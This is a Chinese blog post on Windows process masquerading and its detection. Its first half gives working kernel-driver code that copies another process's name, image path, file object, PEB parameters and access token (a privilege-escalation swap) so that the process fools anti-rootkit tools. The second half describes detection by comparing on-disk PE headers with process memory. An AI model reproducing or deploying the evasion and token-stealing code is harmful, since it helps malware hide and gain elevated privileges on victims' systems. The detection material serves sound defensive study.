进程伪装原理与破除

12次阅读
没有评论

首先演示下进程伪装的效果

伪装前

进程伪装原理与破除

伪装后

进程伪装原理与破除

ark 显示的信息

进程伪装原理与破除

通过测试发现,可以伪装成系统进程或者其他正常应用,来迷惑 ark 工具的查询;相比隐藏进程而言更加稳定和隐蔽。

伪装进程的实现方式:

1. 傀儡进程,这种方法 3 环也可实现,原理类似 LoadPE, 在进程内存中手动拉伸修复我们的可执行程序。

2. 修改进程结构体信息达到伪装。这种进程伪装核心思想: 把要伪装成进程的各种信息复制到当前进程,并且不能干扰操作系统正常运行程序。可以理解为就是疯狂 CV。

2 的基本实现

1. 复制 eprocess 中的 ImageFileName[15]  进程名

   BOOLEAN fake_processimagename(PEPROCESS dest, PEPROCESS my)
 {PCHAR destName = (PsGetProcessImageFileName)(dest);

	   PCHAR myName = (PsGetProcessImageFileName)(my);

	   (memcpy)(myName, destName, 15);

	  return   TRUE;
 }

2. 复制 eprocess 中的 SeAuditProcessCreationInfo  进程全路径

//0x8 bytes (sizeof)
struct _SE_AUDIT_PROCESS_CREATION_INFO
{struct _OBJECT_NAME_INFORMATION* ImageFileName;                         //0x0};
   PUNICODE_STRING myFullName = NULL;
	   PUNICODE_STRING destFullName = NULL;

	    (SeLocateProcessImageName)(my, &myFullName);
		(SeLocateProcessImageName)(dest, &destFullName);




	   PUNICODE_STRING newname = (PUNICODE_STRING)(ExAllocatePool)(NonPagedPool, destFullName->MaximumLength);
	   newname->Length = destFullName->Length;
	   newname->MaximumLength = destFullName->MaximumLength;
	   newname->Buffer = destFullName->Buffer;
	   (memcpy)(newname->Buffer, destFullName->Buffer, destFullName->Length);

	   *((PULONG64)((PUCHAR)my + get_eprocess_imagefilename_offset())) = (ULONG64)newname;

	   (ExFreePool)(myFullName);
	   return TRUE;

3. 复制 eprocess 中的 ImageFilePointer 文件对象

    BOOLEAN bRet = FALSE;
    PFILE_OBJECT pFileObject = NULL;
    WCHAR* szNewFullName = NULL;

    if (szFullName == NULL || Process == NULL)
        return FALSE;

    szNewFullName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
    if (szNewFullName == NULL)
        return FALSE;

    RtlZeroMemory(szNewFullName, KMAX_PATH * 2);

    if (!NT_SUCCESS(PsReferenceProcessFilePointer(Process, &pFileObject)))
        return FALSE;

    if (pFileObject->FileName.Length >= wcslen(szFullName) * 2)
    {RtlZeroMemory(pFileObject->FileName.Buffer, pFileObject->FileName.MaximumLength);
        RtlCopyMemory(pFileObject->FileName.Buffer, szFullName, wcslen(szFullName) * 2);
        pFileObject->FileName.Length = wcslen(szFullName) * 2;
        ExFreePool(szNewFullName);
        bRet = TRUE;
    }
    else
    {RtlCopyMemory(szNewFullName, szFullName, wcslen(szFullName) * 2);
        pFileObject->FileName.Buffer = szNewFullName;
        pFileObject->FileName.Length = wcslen(szFullName) * 2;
        pFileObject->FileName.MaximumLength = KMAX_PATH * 2;
        bRet = TRUE;
    }

    ObDereferenceObject(pFileObject);
    return bRet;

4. 复制 eprocess 中的 Token 令牌

   PACCESS_TOKEN pSystemToken = (PACCESS_TOKEN)(PsReferencePrimaryToken)(dest);
	   PACCESS_TOKEN MyToken = (PACCESS_TOKEN)(PsReferencePrimaryToken)(my);
	   
	* ((PULONG64)((PUCHAR)my + get_eprocess_token_offset())) = (ULONG64)pSystemToken;

	   (ObfDereferenceObject)(pSystemToken);
	   (ObfDereferenceObject)(MyToken);

5. 复制 eprocess 中的 Peb  环境块 注意 32 位程序与 64 位程序不同,这里只展示 64 位的,记得 CommandLine,WindowTitle,CurrentDirectory 也要复制不然 ark 一眼看出差距。

   PPEB64 destPeb = (PPEB64)(PsGetProcessPeb)(dest);

	   PPEB64 myPeb = (PPEB64)(PsGetProcessPeb)(my);
	   if (!destPeb || !myPeb) return 0;

	   KAPC_STATE fakeApcState = {0};
	   KAPC_STATE srcApcState = {0};

	   UNICODE_STRING ImagePathName = {0};
	   UNICODE_STRING CommandLine = {0};
	   UNICODE_STRING WindowTitle = {0};
	   UNICODE_STRING dospath={0};
	   ULONG64 Handle=0;
	   (KeStackAttachProcess)(dest, &srcApcState);

	
	   SIZE_T pro = NULL;
	   (MmCopyVirtualMemory)(dest, destPeb, dest, destPeb, 1, UserMode, &pro);
	   (MmCopyVirtualMemory)(dest, destPeb->ProcessParameters, dest, destPeb->ProcessParameters, 1, UserMode, &pro);

	   // 复制 ImagePathName
	   if (destPeb->ProcessParameters->ImagePathName.Length)
	   {ImagePathName.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->ImagePathName.MaximumLength);
		   (memcpy)(ImagePathName.Buffer, destPeb->ProcessParameters->ImagePathName.Buffer, destPeb->ProcessParameters->ImagePathName.Length);
		   ImagePathName.Length = destPeb->ProcessParameters->ImagePathName.Length;
		   ImagePathName.MaximumLength = destPeb->ProcessParameters->ImagePathName.MaximumLength;
	   }
	   // 复制 CommandLine
	   if (destPeb->ProcessParameters->CommandLine.Length)
	   {CommandLine.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->CommandLine.MaximumLength);
		   (memcpy)(CommandLine.Buffer, destPeb->ProcessParameters->CommandLine.Buffer, destPeb->ProcessParameters->CommandLine.Length);
		   CommandLine.Length = destPeb->ProcessParameters->CommandLine.Length;
		   CommandLine.MaximumLength = destPeb->ProcessParameters->CommandLine.MaximumLength;
	   }

	   // 复制 WindowTitle
	   if (destPeb->ProcessParameters->WindowTitle.Length)
	   {WindowTitle.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->WindowTitle.MaximumLength);
		   (memcpy)(WindowTitle.Buffer, destPeb->ProcessParameters->WindowTitle.Buffer, destPeb->ProcessParameters->WindowTitle.Length);
		   WindowTitle.Length = destPeb->ProcessParameters->WindowTitle.Length;
		   WindowTitle.MaximumLength = destPeb->ProcessParameters->WindowTitle.MaximumLength;
	   }
	   // 复制 CurrentDirectory
	   if (destPeb->ProcessParameters->CurrentDirectory.DosPath.Length)
	   {dospath.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength);
		   (memcpy)(dospath.Buffer, destPeb->ProcessParameters->CurrentDirectory.DosPath.Buffer, destPeb->ProcessParameters->CurrentDirectory.DosPath.Length);
		   dospath.Length = destPeb->ProcessParameters->CurrentDirectory.DosPath.Length;
		   dospath.MaximumLength = destPeb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength;
		   Handle = (ULONG64)destPeb->ProcessParameters->CurrentDirectory.Handle;
	   }
	   (KeUnstackDetachProcess)(&srcApcState);



	   // 附加要伪装的进程,并复制


	   (KeStackAttachProcess)(my, &fakeApcState);


	   (MmCopyVirtualMemory)(my, myPeb, my, myPeb, 1, UserMode, &pro);
	   (MmCopyVirtualMemory)(my, myPeb->ProcessParameters, my, myPeb->ProcessParameters, 1, UserMode, &pro);

	   // 复制 ImagePathName
	   myPeb->ProcessParameters->ImagePathName.Length = ImagePathName.Length;
	   myPeb->ProcessParameters->ImagePathName.MaximumLength = ImagePathName.MaximumLength;
	   myPeb->ProcessParameters->ImagePathName.Buffer = ImagePathName.Buffer;


	   // 复制 CommandLine
	   myPeb->ProcessParameters->CommandLine.Length = CommandLine.Length;
	   myPeb->ProcessParameters->CommandLine.MaximumLength = CommandLine.MaximumLength;
	   myPeb->ProcessParameters->CommandLine.Buffer = CommandLine.Buffer;

	   // 复制 WindowTitle

	   myPeb->ProcessParameters->WindowTitle.Length = WindowTitle.Length;
	   myPeb->ProcessParameters->WindowTitle.MaximumLength = WindowTitle.MaximumLength;
	   myPeb->ProcessParameters->WindowTitle.Buffer = WindowTitle.Buffer;
	   // 复制 CurrentDirectory

	   myPeb->ProcessParameters->CurrentDirectory.DosPath.Length = dospath.Length;
	   myPeb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength = dospath.MaximumLength;
	   myPeb->ProcessParameters->CurrentDirectory.DosPath.Buffer = dospath.Buffer;
	   myPeb->ProcessParameters->CurrentDirectory.Handle = (PVOID)Handle;


	   (KeUnstackDetachProcess)(&fakeApcState);

	   if (ImagePathName.Length) (ExFreePool)(ImagePathName.Buffer);
	   if (CommandLine.Length) (ExFreePool)(CommandLine.Buffer);
	   if (WindowTitle.Length) (ExFreePool)(WindowTitle.Buffer);
	   if (dospath.Length) (ExFreePool)(dospath.Buffer);

6. 到此为止一个最基本的伪装进程已经实现,当然还有好多细节没有 copy,细节就靠个人发挥了。

查询伪装进程

那么问题来了,如果恶意程序进行了伪装,我们应该如何查询呢?

俗话说的好,假的永远是假的,代替不了真的。下面介绍几个常见的查询点:

1. 模块,虽然主模块可以伪装一致,但是其他模块和模块数量明显的差异, 且模块大小和基地址都可能存在差异

进程伪装原理与破除

2. 窗口,如果伪装成例如系统进程 csrss.exe 是没有窗口的

进程伪装原理与破除

3. 其他进程结构体,一般进程伪装不会完美伪装每一个细节,可以从细节信息对比差异,如 eprocess 中的 ImagePathHash,不过本人不会从这里查,我假设伪装者很努力,复制了所有细节并且使用 pdb 解析完美兼容所有系统。

4.dump 可疑进程内存,并上传样本;不过对于个人而言还是太吃经济了。

5. 线程,很难保证伪装和被伪装的线程一致

6. 内存对比,伪装后进程的文件对象被修改成被伪装进程的对象,我们可以利用这一点反其道而行,读取路径中文件的 pe 信息与进程内存相比较。

本人采用的思路是第六种,具体操作对比 pe 可选头中的镜像大小 SizeOfImage, 入口点 AddressOfEntryPoint,以及入口点的前几个字节,简单有效

// 大小: 32bit(0xE0) 64bit(0xF0)
typedef struct _IMAGE_OPTIONAL_HEADER {
 
    WORD    Magic;                          // 文件类型: 10bh 为 32 位 PE 文件 / 20bh 为 64 位 PE 文件
    BYTE    MajorLinkerVersion;             // 链接器 (主) 版本号 对执行没有任何影响
    BYTE    MinorLinkerVersion;             // 链接器 (次) 版本号 对执行没有任何影响
    DWORD   SizeOfCode;                     // 包含代码的节的总大小. 文件对齐后的大小. 编译器填的没用
    DWORD   SizeOfInitializedData;          // 包含已初始化数据的节的总大小. 文件对齐后的大小. 编译器填的没用.
    DWORD   SizeOfUninitializedData;        // 包含未初始化数据的节的总大小. 文件对齐后的大小. 编译器填的没用.(未初始化数据, 在文件中不占用空间; 但在被加载到内存后,PE 加载程序会为这些数据分配适当大小的虚拟地址空间).
    DWORD   AddressOfEntryPoint;            // 程序入口(RVA)
    DWORD   BaseOfCode;                     // 代码的节的基址(RVA). 编译器填的没用(代码节起始的 RVA, 表示映像被加载进内存时代码节的开头相对于 ImageBase 的偏移地址, 节的名称通常为 ".text")
    DWORD   BaseOfData;                     // 数据的节的基址(RVA). 编译器填的没用(数据节起始的 RVA, 表示映像被加载进内存时数据节的开头相对于 ImageBase 的偏移地址, 节的名称通常为 ".data")
    DWORD   ImageBase;                      // 内存镜像基址
    DWORD   SectionAlignment;               // 内存对齐大小
    DWORD   FileAlignment;                  // 文件对齐大小
    WORD    MajorOperatingSystemVersion;    // 标识操作系统主版本号 
    WORD    MinorOperatingSystemVersion;    // 标识操作系统次版本号 
    WORD    MajorImageVersion;              //PE 文件自身的主版本号
    WORD    MinorImageVersion;              //PE 文件自身的次版本号
    WORD    MajorSubsystemVersion;          // 运行所需子系统主版本号
    WORD    MinorSubsystemVersion;          // 运行所需子系统次版本号
    DWORD   Win32VersionValue;              // 子系统版本的值. 必须为 0, 否则程序运行失败.
    DWORD   SizeOfImage;                    // 内存中整个 PE 文件的映射尺寸. 可比实际的值大. 必须是 SectionAlignment 的整数倍
    DWORD   SizeOfHeaders;                  // 所有头 + 节表按照文件对齐后的大小.
    DWORD   CheckSum;                       // 校验和. 大多数 PE 文件该值为 0. 在内核模式的驱动程序和系统 DLL 中, 该值则是必须存在且是正确的. 在 IMAGEHLP.DLL 中函数 CheckSumMappedFile 就是用来计算文件头校验和的, 对于整个 PE 文件也有一个校验函数 MapFileAndCheckSum.
    WORD    Subsystem;                      // 文件子系统  驱动程序(1) 图形界面(2) 控制台 /DLL(3)
    WORD    DllCharacteristics;             // 文件特性. 不是针对 DLL 文件的
    DWORD   SizeOfStackReserve;             // 初始化时保留的栈大小. 该字段默认值为 0x100000(1MB), 如果调用 API 函数 CreateThread 时, 堆栈参数大小传入 NULL, 则创建出来的栈大小将是 1MB.
    DWORD   SizeOfStackCommit;              // 初始化时实际提交的栈大小. 保证初始线程的栈实际占用内存空间的大小, 它是被系统提交的. 这些提交的栈不存在与交换文件里, 而是在内存中.
    DWORD   SizeOfHeapReserve;              // 初始化时保留的堆大小. 用来保留给初始进程堆使用的虚拟内存, 这个堆的句柄可以通过调用函数 GetProcessHeap 获得. 每一个进程至少会有一个默认的进程堆, 该堆在进程启动时被创建, 而且在进程的生命期中不会被删除. 默认值为 1MB.
    DWORD   SizeOfHeapCommit;               // 初始化时实践提交的堆大小. 在进程初始化时设定的堆所占用的内存空间, 默认值为 PAGE_SIZE. 
    DWORD   LoaderFlags;                    // 调试相关
    DWORD   NumberOfRvaAndSizes;            // 目录项数目, 默认为 10h.
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];// 结构数组 数组元素个数由 IMAGE_NUMBEROF_DIRECTORY_ENTRIES 定义
} IMAGE_OPTIONAL_HEADER32, * PIMAGE_OPTIONAL_HEADER32;

代码没啥可看的,太水了,当然文章讲述的更多是思路,也不排除是本人太懒。

进程伪装原理与破除

检测伪装进程演示:

正常程序,文件和内存镜像一致

进程伪装原理与破除

伪装后的两个程序

进程伪装原理与破除

对比内存和文件后发现不一致,可以判定疑似伪装

进程伪装原理与破除

正文完
 0
评论(没有评论)